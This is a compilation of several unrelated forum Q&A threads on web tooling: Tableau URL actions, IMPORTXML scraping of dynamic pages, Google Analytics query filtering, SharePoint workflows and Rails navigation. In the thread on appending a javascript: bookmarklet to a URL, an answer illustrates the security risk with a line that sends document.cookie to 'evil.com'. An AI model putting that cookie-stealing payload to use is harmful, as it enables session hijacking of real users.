I've built a dashboard in Tableau (9.1), and in it I have a dimension of "Landing Page" with a URL (another field).
I want that when the user uses the dashboard in the web interface and clicks on a specific landing page (Let's say - I have a bar graph that shows number of view for each LP - in this case, "pressing on a landing page" means pressing on the bar that represents that LP), that a new tab will open with that URL.
I've tried Dashboard Actions - but it only worked in the Tableau Desktop (when I pressed on it - in the tooltip there was a hyperlink to the LP). When I tried it in the web interface, It addresses me to a partial tableau-server URL, back-slash, and the URL for the LP. Also, after pressing 2-3 bars, the view gets messed up and an error shows.
So my question is - has anyone tried using the URL actions?
Or maybe you have a better way to make the connection between the LP dimension and it's URL (maybe pressing directly on the LP in the dimension column)?
Thank you!
have you tried looking into articles that reference Table of Contents using Tableau?
http://kb.tableau.com/articles/knowledgebase/creating-table-contents-navigate-other-dashboards
Related
This question already has answers here:
Scraping data to Google Sheets from a website that uses JavaScript
(2 answers)
Closed last month.
So... 90% of the time ImportXML seems to work just fine for me, but now I'm struggling with the below 2 cases... I don't know if they are all the same problem or not, or if they are 2 different problems.
CASE ONE - YAHOO
Go to this page: https://finance.yahoo.com/quote/AAPL/cash-flow?p=AAPL
The number I want to pull to my spreadsheet is "Free Cash Flow"
My first attempt:
=IMPORTXML("https://finance.yahoo.com/quote/AAPL/cash-flow?p=AAPL","//*[#id='Col1-1-Financials-Proxy']/section/div[4]/div[1]/div[1]/div[2]/div[12]/div[1]/div[2]/span")
My second attempt:
=IMPORTXML("https://finance.yahoo.com/quote/AAPL/cash-flow?p=AAPL","/html/body/div[1]/div/div/div[1]/div/div[3]/div[1]/div/div[2]/div/div/section/div[4]/div[1]/div[1]/div[2]/div[12]/div[1]/div[2]/span")
My third attempt:
=INDEX(IMPORTXML("https://finance.yahoo.com/quote/AAPL/cash-flow?p=AAPL","//div[#class='Ta(c) Py(6px) Bxz(bb) BdB Bdc($seperatorColor) Miw(120px) Miw(140px)--pnclg Bgc($lv1BgColor) fi-row:h_Bgc($hoverBgColor) D(tbc)']"),1,1)
My fourth attempt:
=INDEX(IMPORTXML("https://finance.yahoo.com/quote/AAPL/cash-flow?p=AAPL","//span[#data-reactid='277']"),1,1)
Nothing I do seems to work.
CASE TWO - MSN
Go to this page: https://www.msn.com/en-gb/money/stockdetails/analysis/fi-a1mou2
Click the "Price Ratios" link
The number I want to pull to my spreadsheet is "P/E Ratio 5-Year Low"
My first attempt:
=IMPORTXML("https://www.msn.com/en-us/money/stockdetails/analysis/nas-aapl/fi-a1mou2","//*[#id='main']/div[2]/div[2]/div[2]/div/div[3]/div/div/div[5]/div[1]/div[2]/div[4]/div[1]/div/div/div/ul[3]/li[2]/span[1]/p")
I only tried once with this case because I suspect that the number sitting on an internal page tab might be causing the issue?
ANY solutions that automatically will pull the above two numbers into my spreadsheet are welcome, I'm open to workarounds with scripts/macros if ImportXML just isn't able to do it.
The reason why you can't get the data in MSN is because the specific element you have mentioned has been inserted dynamically on the website. IMPORTXML can only retrieve static content of a website and therefore, it will not be able to retrieve this dynamic content.
To check which content is static and which is dynamic, you can disable Javscript on your browser (as JS is the responsible of inserting dynamic content) and reload the page : the remaining content is the one you can access with IMPORTXML. In the website you provided if you follow these indications you will see how if you click on Price Ratios nothing will change as this content is not static. This is a simple guide on how to disable Javascript in Chrome.
Therefore, you will need to find an alternative method to scrape dynamic data.
We use Marketo and it adds an ID for every unique visitor. This presents a problem when I want to view all visitors that have filled out our contact form. The main page is:
/EnterpriseDemoRequest_ThankyouConfirm.html
So when I get results from Google on the thank you page it shows up like so in a giant list like below:
...
78. /ContactSales_ThankyouConfirm.html?aliId=25026187
79. /ContactSales_ThankyouConfirm.html?aliId=25027907
80. /ContactSales_ThankyouConfirm.html?aliId=25028288
81. /ContactSales_ThankyouConfirm.html?aliId=25028314
...
Hoping someone can help me figure out how to filter out the tracking code beyond /EnterpriseDemoRequest_ThankyouConfirm.html
Thanks!
You should aliId as an excluded URL query parameter in Admin > Profile > Settings:
This change is to be done at the "Profile" (now labelled "View") level. As such, it will only apply to future data.
I need to access some data in someone's site. The way to get to that page is visiting http://www.foosite.com and click a link which has javascript:foo(); to bring out the real data.
foo() is like:
function foo(param){
createXXXCookie('COOKIE_NAME', param, 60);
window.location.href="/current/location";
}
So this is basically setting the cookie and reload the page again. During page load, the document ready reads COOKIE_NAME and display the corresponding data.
I want to use MS Excel to grab some data from this page. So I was looking for a one go way to get the data. Since in browser address bar, I can enter http://www.foosite.com first and then enter javascript:foo(); to invoke foo(). I was wondering if combining the URL and the bookmarklet, like http://www.foosite.com;javascript:foo(); could work? I actually tried this, but it seems IE/FF/GC will skip javascript:... part and just proceed the first part of URL.
This is not possible.
Had it been possible, it would be a deadly security hole.
Email someone a shortlink to http://somebank.com;javascript:$.getScript('http://evil.com/steal?payload=' + encodeURIComponent(document.cookie)), and move on from there to auto-submitting forms.
in our Company we have a Sharepoint 2007 Server which we are using to keep track of our cars.
What I try to achieve is to have a aspx page where you can select a car of the cars list and then click "request". If you did that the page must switch to another text saying something like "car request in progress" (and of course hide this car in the cars list if the next person enters this page) and send an email to someone which contains two buttons: "accept" "decline". If he clicks "decline" the cars status has to be set to available again so someone else can do a request for this car again. if he clicks "accept" another person gets an email telling him that person1 requested this car and this has been approved by person2. this emails are easy to create using workflows which are waiting for the status to change but how can i create a link which changes a cars statusfield in the cars list and what code do i need in the aspx request page?
Thanks in advance!
MemphiZ
Make a link that, when clicked, will run the appropriate action on the users behalf. If you are using workflows, this is as "simple" as changing the items property and letting the item-change event be handled. Make sure to avoid cyclic changes.
This can be done trivially by encoding the items GUID (and perhaps list and action and whatever else you want) in the URL; the GUID can be used with the SharePoint Object Model for the lookup.
Perhaps the above can be done using SPD without a separate/"code" ASPX, but I don't touch that pile of "fun".
Edit for comment:
In my scenario we just encoded the link as http://foo.com/whatever.aspx?id={THEGUID}. The aspx handler just read the query parameters. Item editing ability used standard SharePoint list permissions. Double-submissions were rejected because after the link is handled the item modified to be in a new state which does not accept said link-action (thus clicking the link again simply resulted in no-operations). Working out a total state-diagram before starting work can save lots of time.
I have a search page which finds candidates.
From this page you can click view to find more information about the candidate.
When on the candidate view you can click edit or do a number of other actions which would return you too the candidates view.
My problem is from the candidates view I need to add a button to go back to the search results.
I originally thought of using a JS button with history -1 but because the user can do other action from inside the view this won't work.
I am still quite new to rails so not sure of my options... I am thinking some sort of caching of the results and then maybe a hidden field to keep track of the location of the cache(don't think this is the best solution as keeping track of the hidden value could get abit messy!)
Thanks, Alex
I would probably use a session variable to store this information.
First, make sure your form that posts to the search page is a GET operation, this way the search details are in your query string. Then in your search action, you can grab the request URL and store it in the session:
session[:search_results] = request.url
Now in your view for the results, you can do your "Back to search results" like this:
link_to "Back to search results", session[:search_results]
You have a couple of options:
Cache the results, as you've suggested. The potential downsides to this are that it takes memory, and if new valid records get added, you won't see them. You could store the cache in Session, or in the database (though in the latter case, you don't gain much).
I'd suggest just remembering the last search term, either in session or using hidden fields. You end up re-running the query when you go to the search results page, but in a properly indexed DB, that shouldn't be a big deal.
Good luck!
You can include the parameters for the query on the subpage. Eg.: /foo/search?q=stuff displays search result. Each result then has a link like /foo/:id?q=stuff. And on the subpage, you will have the parameter available to link back to the main page.
This solution doesn't use any server side state, which is generally accepted as the better way to build web applications. Not only does it mean that you browser will behave as expected, with respect to bookmarks, multiple tabs etc., but it also ensures that proper caching can be employed. Further, it lowers the complexity of your application, making it easier to debug and extend.
You could put the search results in a "search_results" table keyed by the user id. Then when the user hits the page, always load from a query on that table.
If anybody does come across this page and you need a button that goes back to the previous page and still display those search results (just like the google chrome button), just use :back.....
<%= link_to(image_tag("back.svg"), :back, :class => 'back_btn') %>